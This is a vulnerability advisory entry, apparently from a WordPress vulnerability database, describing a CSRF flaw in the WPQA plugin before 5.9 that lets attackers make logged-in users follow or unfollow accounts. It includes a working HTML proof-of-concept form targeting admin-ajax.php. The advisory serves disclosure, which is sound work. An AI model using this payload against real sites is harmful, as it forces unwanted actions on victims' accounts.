WordPress Plugin Vulnerabilities
WPQA < 5.9 - Follow/Unfollow via CSRF
Description
The plugin does not have CSRF check when following and unfollowing users, which could allow attackers to make logged in users perform such actions via CSRF attacks
Proof of Concept
<html>
<body>
<form action="https://example.comwp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="wpqa_following_you" />
<input type="hidden" name="following_var_id" value="9839" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Affects Plugins
Fixed in 5.9 References
CVE
Classification
Type
CSRF
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Bikram Kharal
Submitter
Bikram Kharal
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-10-25 (about 1 years ago)
Added
2022-10-25 (about 1 years ago)
Last Updated
2022-10-26 (about 1 years ago)
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